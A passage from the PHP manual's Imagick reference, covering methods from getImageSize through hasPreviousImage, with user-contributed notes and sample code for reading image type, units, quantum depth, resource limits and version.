    print($imagick_type_signature);

?>

Results of this done on a standard BMP image :

cb2f387a7b23d11340ad1f5ba9c765125ea6b2d50a0d25412abe1ce568adac68


Returns the image length in bytes

  • « Imagick::getImageSignature
  • Imagick::getImageTicksPerSecond »
  • PHP Manual
  • Imagick
  • Returns the image length in bytes

Imagick::getImageSize

(PECL imagick 2.0.0)

Imagick::getImageSize — Returns the image length in bytes

Description

int Imagick::getImageSize ( void )

Returns the image length in bytes. Deprecated in favour of Imagick::getImageLength()

Return Values

Returns an int containing the current image size.

User Contributed Notes

murphy(at)murphyslantech(dot)de 30-Nov-2010 04:21
If you get an error or warning (when using strict settings for PHP), telling you, that this function should not be used anymore try getImageLength() instead ...
Ricardo Cordts Monteiro 12-Feb-2010 01:11
Practical use to get the dimensions of the image:

<?php
$image = new Imagick($image_src);
$d = $image->getImageGeometry();
$w = $d['width'];
$h = $d['height'];
?>
nikolaus 17-Oct-2009 09:52
If you're planning to stream imagick images via http, pay attention that this function may return the uncompressed image size, so it's not directly suitable for setting the content-length http header.
benford at bluhelix dot com 23-Jun-2009 12:12
Try Imagick::getSize, Imagick::getImageWidth, or Imagick::getImageHeight if you are looking to get dimensions in pixels (rows, columns) of the current image.
perching_eagle at yahoo dot com 05-Oct-2007 03:37
/* get the size of the image in bytes */
$image=new Imagick("c:/htdocs/rose.jpg");
$size=$image->getImageSize();
print "the size of the picture is ".$size." bytes";

result

the size of the picture is 3461 bytes


Gets the image ticks-per-second

  • « Imagick::getImageSize
  • Imagick::getImageTotalInkDensity »
  • PHP Manual
  • Imagick
  • Gets the image ticks-per-second

Imagick::getImageTicksPerSecond

(PECL imagick 2.0.0)

Imagick::getImageTicksPerSecond — Gets the image ticks-per-second

Description

int Imagick::getImageTicksPerSecond ( void )

Gets the image ticks-per-second.

Return Values

Returns the image ticks-per-second.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image total ink density

  • « Imagick::getImageTicksPerSecond
  • Imagick::getImageType »
  • PHP Manual
  • Imagick
  • Gets the image total ink density

Imagick::getImageTotalInkDensity

(PECL imagick 2.0.0)

Imagick::getImageTotalInkDensity — Gets the image total ink density

Description

float Imagick::getImageTotalInkDensity ( void )

Gets the image total ink density.

Return Values

Returns the image total ink density of the image. Throw an ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the potential image type

  • « Imagick::getImageTotalInkDensity
  • Imagick::getImageUnits »
  • PHP Manual
  • Imagick
  • Gets the potential image type

Imagick::getImageType

(PECL imagick 0.9.10-0.9.9)

Imagick::getImageType — Gets the potential image type

Description

int Imagick::getImageType ( void )

Gets the potential image type.

Return Values

Returns the potential image type.

  • imagick::IMGTYPE_UNDEFINED
  • imagick::IMGTYPE_BILEVEL
  • imagick::IMGTYPE_GRAYSCALE
  • imagick::IMGTYPE_GRAYSCALEMATTE
  • imagick::IMGTYPE_PALETTE
  • imagick::IMGTYPE_PALETTEMATTE
  • imagick::IMGTYPE_TRUECOLOR
  • imagick::IMGTYPE_TRUECOLORMATTE
  • imagick::IMGTYPE_COLORSEPARATION
  • imagick::IMGTYPE_COLORSEPARATIONMATTE
  • imagick::IMGTYPE_OPTIMIZE

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 22-May-2012 08:18
This function will return an integer, with that value being equal to the evaluated value of the IMGType Constants as defined by the ImageMagick class.  When accessing them, they look like "imagick::IMGTYPE_PALETTE", but with "_VALUE" values of: undefined, bilevel, grayscale, grayscalematte, palette, palettematte, truecolor, truecolormatte, colorseparation, colorseparationmatte, and optimize.  If you were to print out these values, you would have '0' for undefined, '1' for bilevel, '2' for grayscale, and so on.

For a BMP picture drawn in paint, I got back the value # 4 - Palette.  For a BMP or JPEG photograph of the ocean or jungle, I got back the value # 6 - Truecolor.  For an animated GIF file, I got back the value # 5 - Palette Matte.  For a black-and-white JPEG drawing, I got back the value # 2 - Grayscale.  These are the most common results I have gotten back with this function.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_type = $imagick_type->getImageType();

        // Interpret Image Type Value
        // ---------------------------------------------

    switch($image_type)
    {
        case imagick::IMGTYPE_UNDEFINED:
            $image_type_title = "Undefined";
            break;

        case imagick::IMGTYPE_BILEVEL:
            $image_type_title = "Bilevel";
            break;

        case imagick::IMGTYPE_GRAYSCALE:
            $image_type_title = "Grayscale";
            break;

        case imagick::IMGTYPE_GRAYSCALEMATTE:
            $image_type_title = "Grayscale Matte";
            break;

        case imagick::IMGTYPE_PALETTE:
            $image_type_title = "Palette";
            break;

        case imagick::IMGTYPE_PALETTEMATTE:
            $image_type_title = "Palette Matte";
            break;

        case imagick::IMGTYPE_TRUECOLOR:
            $image_type_title = "Truecolor";
            break;

        case imagick::IMGTYPE_TRUECOLORMATTE:
            $image_type_title = "Truecolor Matte";
            break;

        case imagick::IMGTYPE_COLORSEPARATION:
            $image_type_title = "Color Separation";
            break;

        case imagick::IMGTYPE_COLORSEPARATIONMATTE:
            $image_type_title = "Color Separation Matte";
            break;

        case imagick::IMGTYPE_OPTIMIZE:
            $image_type_title = "Optimize";
            break;
    }

        // Print Image Type Value
        // ---------------------------------------------

    print("# $image_type - $image_type_title");

?>
lukeydeluxe at gmail dot com 15-Jan-2009 01:13
Remember, the result, if successful, is an Array, wich means you should call for example "$var[format]" if you want to know what format the file uses.


Gets the image units of resolution

  • « Imagick::getImageType
  • Imagick::getImageVirtualPixelMethod »
  • PHP Manual
  • Imagick
  • Gets the image units of resolution

Imagick::getImageUnits

(PECL imagick 2.0.0)

Imagick::getImageUnits — Gets the image units of resolution

Description

int Imagick::getImageUnits ( void )

Gets the image units of resolution.

Return Values

Returns the image units of resolution.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 22-Jun-2012 11:15
By using the PHP function for getImageUnits, you get back an integer representing the evaluation of a predefined, PATHUNITS constant of the ImageMagick package.  You only have four values for this.  They look like "imagick::PATHUNITS_UNDEFINED", with _VALUE value's being: undefined, userspace, userspaceonuse, and objectboundingbox.  Undefined, if printed, is a 0, userspace is a 1, userspaceonuse is a 2, and objectboundingbox is a 3.

What's the use of knowing the Clipping Path Unit default for an image?  According to the Wikipedia article for "Clipping Path", a Clipping Path is "a closed vector path, or shape, used to cut out a 2D image in image editing software. Anything inside the path will be included after the clipping path is applied; anything outside the path will be omitted from the output."

The official ImageMagick documentation provides only two valid values coming into or out of the clipping path unit value, one being userSpaceOnUse and the other being ObjectBoundingBox.  The only definitions provided: "If userSpaceOnUse, the contents of the clipping path represent values in the current user coordinate system in place at the time when the clipping path is referenced. if objectBoundingBox, then the user coordinate system for the contents of the clipping path is established using the bounding box of the object to which the clipping path is applied. The default is userSpaceOnUse." http://www.imagemagick.org/RMagick/doc/rvgclip.html

In personal experimentation, all JPEG and GIF files have provided '0' for "Undefined" on this function, and all BMP and PNG files have provided '2' for "UserSpaceOnUse" on this function.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Units
        // ---------------------------------------------

    $image_page = $imagick_type->getImageUnits();

        // Interpret Units Value
        // ---------------------------------------------

    switch($image_units)
    {
        case imagick::PATHUNITS_UNDEFINED:
            $image_units_printable = "Undefined";
            break;

        case imagick::PATHUNITS_USERSPACE:
            $image_units_printable = "User Space";
            break;

        case imagick::PATHUNITS_USERSPACEONUSE:
            $image_units_printable = "User Space On Use";
            break;

        case imagick::PATHUNITS_OBJECTBOUNDINGBOX:
            $image_units_printable = "Object Bounding Box";
            break;
    }

        // Print Units Value
        // ---------------------------------------------

    print(" Image Units: # $image_units -- $image_units_printable .");

?>


Returns the virtual pixel method

  • « Imagick::getImageUnits
  • Imagick::getImageWhitePoint »
  • PHP Manual
  • Imagick
  • Returns the virtual pixel method

Imagick::getImageVirtualPixelMethod

(PECL imagick 2.0.0)

Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method

Description

int Imagick::getImageVirtualPixelMethod ( void )

Returns the virtual pixel method for the specified image.

Return Values

Returns the virtual pixel method on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticity white point

  • « Imagick::getImageVirtualPixelMethod
  • Imagick::getImageWidth »
  • PHP Manual
  • Imagick
  • Returns the chromaticity white point

Imagick::getImageWhitePoint

(PECL imagick 2.0.0)

Imagick::getImageWhitePoint — Returns the chromaticity white point

Description

array Imagick::getImageWhitePoint ( void )

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Return Values

Returns the chromaticity white point as an associative array with the keys "x" and "y".

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image width

  • « Imagick::getImageWhitePoint
  • Imagick::getInterlaceScheme »
  • PHP Manual
  • Imagick
  • Returns the image width

Imagick::getImageWidth

(PECL imagick 2.0.0)

Imagick::getImageWidth — Returns the image width

Description

int Imagick::getImageWidth ( void )

Returns the image width.

Return Values

Returns the image width.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

terry 16-Mar-2014 09:16
<?php

$image = new Imagick("picture.jpg");
$width = $image->getImageWidth();
print "the image width is " . $width . " pixels";

?>

Will print:
the image width is 200 pixels


Gets the object interlace scheme

  • « Imagick::getImageWidth
  • Imagick::getIteratorIndex »
  • PHP Manual
  • Imagick
  • Gets the object interlace scheme

Imagick::getInterlaceScheme

(PECL imagick 2.0.0)

Imagick::getInterlaceScheme — Gets the object interlace scheme

Description

int Imagick::getInterlaceScheme ( void )

Gets the object interlace scheme.

Return Values

Gets the wand interlace scheme.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the index of the current active image

  • « Imagick::getInterlaceScheme
  • Imagick::getNumberImages »
  • PHP Manual
  • Imagick
  • Gets the index of the current active image

Imagick::getIteratorIndex

(PECL imagick 2.0.0)

Imagick::getIteratorIndex — Gets the index of the current active image

Description

int Imagick::getIteratorIndex ( void )

Returns the index of the current active image within the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns an integer containing the index of the image in the stack.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::getIteratorIndex():

Create images, set and get the iterator index

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

See Also

  • Imagick::setIteratorIndex() - Set the iterator position
  • Imagick::getImageIndex() - Gets the index of the current active image
  • Imagick::setImageIndex() - Set the iterator position

User Contributed Notes

holdoffhunger at gmail dot com 23-May-2012 08:42
The getIteratorIndex function of the ImageMagick function works on any type of image, but it is built for measuring the number of frames in an animated .gif file.  For non-animated image files, like regular .bmp or .jpg files, this function will always return the number '0', meaning that there is only one frame.  Counting starts from zero with this function, so a .gif file with five different frames will return a value of '4' on this.  Highly repetitive, but psychedelic animated GIF's are often anywhere between 10 and 30 frames, but a .gif file that is nothing more than video footage converted to a datafile may have hundreds of frames.

According to Wikipedia (in the article for "Graphics Interchange Format"), an animated GIf image is a uses the GIF standard "which allows various images (frames) in the file to be painted with time delays."  This function won't get you the amount of time that delays between each frame, but it will give you the number of unique frames in a .gif file.  This will tell you how complicated or simple the animation may be.

Is the 'getIteratorIndex' function not working for you?  Try the 'getImageIndex' function, which produces the same exact result.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Type Value
        // ---------------------------------------------

    $image_iterator_index = $imagick_type->getIteratorIndex();

        // Print Image Type Value
        // ---------------------------------------------

    print("Number of Unique Frames in the .GIF File: $image_iterator_index");

?>


Returns the number of images in the object

  • « Imagick::getIteratorIndex
  • Imagick::getOption »
  • PHP Manual
  • Imagick
  • Returns the number of images in the object

Imagick::getNumberImages

(PECL imagick 2.0.0)

Imagick::getNumberImages — Returns the number of images in the object

Description

int Imagick::getNumberImages ( void )

Returns the number of images associated with Imagick object.

Return Values

Returns the number of images associated with Imagick object.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

benkuhl at gmail dot com 25-Jan-2013 04:26
For PDFs this function indicates the number of pages on the PDF, NOT images that might be embedded within the PDF.

<?php

$document = new Imagick('2_pager.pdf');

var_dump($document->getNumberImages()); //returns 2

$document = new Imagick('1_pager.pdf');

var_dump($document->getNumberImages()); //returns 1

?>

From my research it is not possible to obtain the images embedded within a PDF by using the PHP Imagick library.
gzabriskie at yahoo dot com 07-Apr-2009 02:21
<?php
/* Create the object */
$image = new Imagick('YourImageLocation.tif');
$count = $image->getNumberImages();

echo "<h3 style=\"font: bold 12pt Arial\">Total Number of Images Extracted ".
     "from the TIF : ".$image->getNumberImages()."</h3>";

for ($x = 1;$x <= $image->getNumberImages(); $x++) {
  $image->previousImage();
  $image->thumbnailImage( 400, null );
  $image->writeImage('img'.$count.'.png');
  $count--;
}
?>

<html>
  <head>
    <title>Extracting Images Form TIFF</title>
  </head>
  <body>
    <table cellspacing="10" style="background: #ddd"><tr>
      <?php
      for ($x = 1;$x <= $image->getNumberImages(); $x++) {
        echo "<td><img src=\"img$x.png\"<br /><p style=\"font: bold 12pt Arial;".
             "text-align: center\">image $x (png)</p></td>";
      }
      ?>
    </tr></table>
  </body>
</html>


Returns a value associated with the specified key

  • « Imagick::getNumberImages
  • Imagick::getPackageName »
  • PHP Manual
  • Imagick
  • Returns a value associated with the specified key

Imagick::getOption

(PECL imagick 2.0.0)

Imagick::getOption — Returns a value associated with the specified key

Description

string Imagick::getOption ( string $key )

Returns a value associated within the object for the specified key.

Parameters

key

The name of the option

Return Values

Returns a value associated with a wand and the specified key.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick package name

  • « Imagick::getOption
  • Imagick::getPage »
  • PHP Manual
  • Imagick
  • Returns the ImageMagick package name

Imagick::getPackageName

(PECL imagick 2.0.0)

Imagick::getPackageName — Returns the ImageMagick package name

Description

string Imagick::getPackageName ( void )

Returns the ImageMagick package name.

Return Values

Returns the ImageMagick package name as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the page geometry

  • « Imagick::getPackageName
  • Imagick::getPixelIterator »
  • PHP Manual
  • Imagick
  • Returns the page geometry

Imagick::getPage

(PECL imagick 2.0.0)

Imagick::getPage — Returns the page geometry

Description

array Imagick::getPage ( void )

Returns the page geometry associated with the Imagick object in an associative array with the keys "width", "height", "x", and "y".

Return Values

Returns the page geometry associated with the Imagick object in an associative array with the keys "width", "height", "x", and "y", throwing ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns a MagickPixelIterator

  • « Imagick::getPage
  • Imagick::getPixelRegionIterator »
  • PHP Manual
  • Imagick
  • Returns a MagickPixelIterator

Imagick::getPixelIterator

(PECL imagick 2.0.0)

Imagick::getPixelIterator — Returns a MagickPixelIterator

Description

ImagickPixelIterator Imagick::getPixelIterator ( void )

Returns a MagickPixelIterator.

Return Values

Returns an ImagickPixelIterator on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Sebastian Herold 30-Jun-2008 10:06
For me it was very helpful to read a article at Mikko's blog. He showed that the PixelIterator is not read-only, if you sync it regularly:

<?php
      /* Create new object with the image */
      $im = new Imagick( "strawberry.png" );

      /* Get iterator */
      $it = $im->getPixelIterator();

      /* Loop trough pixel rows */
      foreach( $it as $row => $pixels )
      {
          /* For every second row */
          if ( $row % 2 )
          {
              /* Loop trough the pixels in the row (columns) */
              foreach ( $pixels as $column => $pixel )
              {
                      /* Paint every second pixel black*/
                      if ( $column % 2 )
                      {
                              $pixel->setColor( "black" );
                      }
              }

          }

          /* Sync the iterator, this is important to do on each iteration */
          $it->syncIterator();
      }

      /* Display the image */
      header( "Content-Type: image/png" );
      echo $im;

?>


Get an ImagickPixelIterator for an image section

  • « Imagick::getPixelIterator
  • Imagick::getPointSize »
  • PHP Manual
  • Imagick
  • Get an ImagickPixelIterator for an image section

Imagick::getPixelRegionIterator

(PECL imagick 2.0.0)

Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section

Description

ImagickPixelIterator Imagick::getPixelRegionIterator ( int $x , int $y , int $columns , int $rows )

Get an ImagickPixelIterator for an image section.

Parameters

x

The x-coordinate of the region.

y

The y-coordinate of the region.

columns

The width of the region.

rows

The height of the region.

Return Values

Returns an ImagickPixelIterator for an image section.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets point size

  • « Imagick::getPixelRegionIterator
  • Imagick::getQuantumDepth »
  • PHP Manual
  • Imagick
  • Gets point size

Imagick::getPointSize

(No version information available, might only be in Git)

Imagick::getPointSize — Gets point size

Description

float Imagick::getPointSize ( void )

Returns the objects point size property. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Return Values

Returns a float containing the point size.

See Also

  • Imagick::setPointSize() - Sets point size

User Contributed Notes

There are no user contributed notes for this page.


Gets the quantum depth

  • « Imagick::getPointSize
  • Imagick::getQuantumRange »
  • PHP Manual
  • Imagick
  • Gets the quantum depth

Imagick::getQuantumDepth

(PECL imagick 2.0.0)

Imagick::getQuantumDepth — Gets the quantum depth

Description

array Imagick::getQuantumDepth ( void )

Returns the Imagick quantum depth as a string.

Return Values

Returns the Imagick quantum depth as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 13-May-2012 07:10
The getQuantumDepth works much like the other "Depth" functions and much like the getQuantumRange function.  Like the Depth functions, it returns a value indicating the number of bits to store the unique color values -- 16-bit = 2^16 unique colors, which is 65,535 (counting starts at '0' in binary, as opposed to '1' in decimal).  Like the getQuantumRange function, it returns an array with two values, one being a long integer ('quantumDepthLong') and the other being a string ('quantumDepthLong').  The only difference, besides the variable types, is that the string version has a 'Q' prefixed to it.

Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Depth
        // ---------------------------------------------

    $imagick_type_quantum_depth = $imagick_type->getQuantumDepth();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_depth);
    print("</pre>");

?>

Output:

Array
(
    [quantumDepthLong] => 16
    [quantumDepthString] => Q16
)


Returns the Imagick quantum range

  • « Imagick::getQuantumDepth
  • Imagick::getReleaseDate »
  • PHP Manual
  • Imagick
  • Returns the Imagick quantum range

Imagick::getQuantumRange

(PECL imagick 2.0.0)

Imagick::getQuantumRange — Returns the Imagick quantum range

Description

array Imagick::getQuantumRange ( void )

Returns the quantum range for the Imagick instance.

Return Values

Returns an associative array containing the quantum range as an integer ("quantumRangeLong") and as a string ("quantumRangeString").

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 03-May-2012 06:42
The getQuantumRange is a useful function, since many of the ImageMagick functions accept parameters from 0 to a maximum of the Quantum Range.  When getting a return value for this, it doesn't return a string.  It actually returns an array, with one type being a String ('quantumRangeLong') and the other type being a Long Int ('quantumRangeString').  Here's some sample code and the results, given a color, BMP file photograph that is 600x450 pixels...

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Quantum Range
        // ---------------------------------------------

    $imagick_type_quantum_range = $imagick_type->getQuantumRange();

        // Print Results
        // ---------------------------------------------

    print("<pre>");
    print_r($imagick_type_quantum_range);
    print("</pre>");

?>

Output:

Array
(
    [quantumRangeLong] => 65535
    [quantumRangeString] => 65535
)


Returns the ImageMagick release date

  • « Imagick::getQuantumRange
  • Imagick::getResource »
  • PHP Manual
  • Imagick
  • Returns the ImageMagick release date

Imagick::getReleaseDate

(PECL imagick 2.0.0)

Imagick::getReleaseDate — Returns the ImageMagick release date

Description

string Imagick::getReleaseDate ( void )

Returns the ImageMagick release date as a string.

Return Values

Returns the ImageMagick release date as a string.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the specified resource's memory usage

  • « Imagick::getReleaseDate
  • Imagick::getResourceLimit »
  • PHP Manual
  • Imagick
  • Returns the specified resource's memory usage

Imagick::getResource

(PECL imagick 2.0.0)

Imagick::getResource — Returns the specified resource's memory usage

Description

int Imagick::getResource ( int $type )

Returns the specified resource's memory usage in megabytes.

Parameters

type

Refer to the list of resourcetype constants.

Return Values

Returns the specified resource's memory usage in megabytes.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the specified resource limit

  • « Imagick::getResource
  • Imagick::getSamplingFactors »
  • PHP Manual
  • Imagick
  • Returns the specified resource limit

Imagick::getResourceLimit

(PECL imagick 2.0.0)

Imagick::getResourceLimit — Returns the specified resource limit

Description

int Imagick::getResourceLimit ( int $type )

Returns the specified resource limit.

Parameters

type

Refer to the list of resourcetype constants.

Return Values

Returns the specified resource limit in megabytes.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

holdoffhunger at gmail dot com 24-May-2012 08:43
By using the PHP function getResourceLimit, you'll be given the maximum allowed amount of a particular type of resource.  The integer returned is the number of bytes allowed to the resource you specified in the input parameter.  For the input parameter options, you have the predefined ResourceType constants for the ImageMagick package.  In the code, they look like imagick::RESOURCETYPE_AREA, but you have "_VALUE" options of: undefined, area, disk, file, map, and memory.

What do each of these particular values represent?  The ImageMagick official documentation is helpful in that matter.  File indicates "maximum number of open pixel cache files", Area indicates "maximum area in bytes of any one image that can reside in the pixel cache memory", Memory indicates "maximum amount of memory in bytes to allocate for the pixel cache", map indicates "maximum amount of memory map in bytes to allocate for the pixel cache", and disk indicates "maximum amount of disk space in bytes permitted for use by the pixel cache".  This is according to the Official ImageMagick Architecture page: http://www.imagemagick.org/script/architecture.php .

The Official ImageMagick Resource page has more information on how these parameters function.  For instance, the files limit documentation mentions that when a user goes over the limit, any more files will be "cached to disk are closed and reopened on demand."  (Again, a performance hit.)  See that page here: http://www.imagemagick.org/script/resources.php .

What happens when someone exceeds their limit?  It doesn't cause the PHP script to error out, but simply, it relocates their user activity to non-cache memory (i.e.: virtual memory, which is slow).  So, even if you're worried about the limit, it really only indicates the point in a server at which a user's request is devalued compared to other user requests.

And remember, you can always set the defaults in the policy.xml file on your own server.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get/Display Resource Values
        // ---------------------------------------------

    print("Undefined: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_UNDEFINED));

    print("<br><br>Area: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_AREA));

    print("<br><br>Disk: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_DISK));

    print("<br><br>File: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_FILE));

    print("<br><br>Map: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MAP));

    print("<br><br>Memory: ");
    print($imagick_type->getResourceLimit(imagick::RESOURCETYPE_MEMORY));

?>


Gets the horizontal and vertical sampling factor

  • « Imagick::getResourceLimit
  • Imagick::getSize »
  • PHP Manual
  • Imagick
  • Gets the horizontal and vertical sampling factor

Imagick::getSamplingFactors

(PECL imagick 2.0.0)

Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor

Description

array Imagick::getSamplingFactors ( void )

Gets the horizontal and vertical sampling factor.

Return Values

Returns an associative array with the horizontal and vertical sampling factors of the image.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the size associated with the Imagick object

  • « Imagick::getSamplingFactors
  • Imagick::getSizeOffset »
  • PHP Manual
  • Imagick
  • Returns the size associated with the Imagick object

Imagick::getSize

(PECL imagick 2.0.0)

Imagick::getSize — Returns the size associated with the Imagick object

Description

array Imagick::getSize ( void )

Returns the size associated with the Imagick object as an array with the keys "columns" and "rows".

Return Values

Returns the size associated with the Imagick object as an array with the keys "columns" and "rows".

User Contributed Notes

There are no user contributed notes for this page.


Returns the size offset

  • « Imagick::getSize
  • Imagick::getVersion »
  • PHP Manual
  • Imagick
  • Returns the size offset

Imagick::getSizeOffset

(PECL imagick 2.0.0)

Imagick::getSizeOffset — Returns the size offset

Description

int Imagick::getSizeOffset ( void )

Returns the size offset associated with the Imagick object. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns the size offset associated with the Imagick object.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the ImageMagick API version

  • « Imagick::getSizeOffset
  • Imagick::haldClutImage »
  • PHP Manual
  • Imagick
  • Returns the ImageMagick API version

Imagick::getVersion

(PECL imagick 2.0.0)

Imagick::getVersion — Returns the ImageMagick API version

Description

array Imagick::getVersion ( void )

Returns the ImageMagick API version as a string and as a number.

Return Values

Returns the ImageMagick API version as a string and as a number.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

pasel at blueend dot com 27-Nov-2013 10:18
You may check your version like this:

<?php
$v = Imagick::getVersion();
preg_match('/ImageMagick ([0-9]+\.[0-9]+\.[0-9]+)/', $v['versionString'], $v);
if(version_compare($v[1],'6.2.8')<=0){
   print "Your ImageMagick Version {$v[1]} is '6.2.8' or older, please upgrade!";
}
?>
holdoffhunger at gmail dot com 09-May-2012 08:37
The getVersion function for the ImageMagick class returns an array, with two values, one linked to the key value of 'versionNumber' and another linked to the key value of 'versionString'.  The version number provides a simple integer, while the string provides the actual x.y.z version number, the release date, and the URL for the ImageMagick site.

Today (May 8, 2012), when calling this function, the results are...

Number: 1654
String: ImageMagick 6.7.6-8 2012-05-02 Q16 http://www.imagemagick.org

Last month (around April 15, 2012), when calling this function, the results were...

Number: 1654
String: ImageMagick 6.7.6-1 2012-04-09 Q16 http://www.imagemagick.org

So, I'm not sure why the "Number" value has not changed, but the "String" value is definitely responding to changes in time.

The code for producing these results:

<?php

        // Author: holdoffhunger@gmail.com

    $imagick_version = Imagick::getVersion();

    $imagick_version_number = $imagick_version['versionNumber'];
    $imagick_version_string = $imagick_version['versionString'];

    print("Number: $imagick_version_number");

    print("<br>");

    print("String: $imagick_version_string");

?>
mwu at digitaltorque dot com 22-Feb-2011 08:40
Since it's not clear from the documention what this function returns:

print_r(imagick::getVersion());

Array
(
    [versionNumber] => 1632
    [versionString] => ImageMagick 6.6.0-4 2010-11-16 Q16 http://www.imagemagick.org
)


Replaces colors in the image

  • « Imagick::getVersion
  • Imagick::hasNextImage »
  • PHP Manual
  • Imagick
  • Replaces colors in the image

Imagick::haldClutImage

(No version information available, might only be in Git)

Imagick::haldClutImage — Replaces colors in the image

Description

public bool Imagick::haldClutImage ( Imagick $clut [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Replaces colors in the image using a Hald lookup table. Hald images can be created using HALD color coder.

Parameters

clut

Imagick object containing the Hald lookup image.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has more images

  • « Imagick::haldClutImage
  • Imagick::hasPreviousImage »
  • PHP Manual
  • Imagick
  • Checks if the object has more images

Imagick::hasNextImage

(PECL imagick 2.0.0)

Imagick::hasNextImage — Checks if the object has more images

Description

bool Imagick::hasNextImage ( void )

Returns TRUE if the object has more images when traversing the list in the forward direction.

Return Values

Returns TRUE if the object has more images when traversing the list in the forward direction, returns FALSE if there are none.

User Contributed Notes

There are no user contributed notes for this page.


Checks if the object has a previous image

  • « Imagick::hasNextImage
  • Imagick::identifyImage »
  • PHP Manual
  • Imagick
  • Checks if the object has a previous image

Imagick::hasPreviousImage

(PECL imagick 2.0.0)

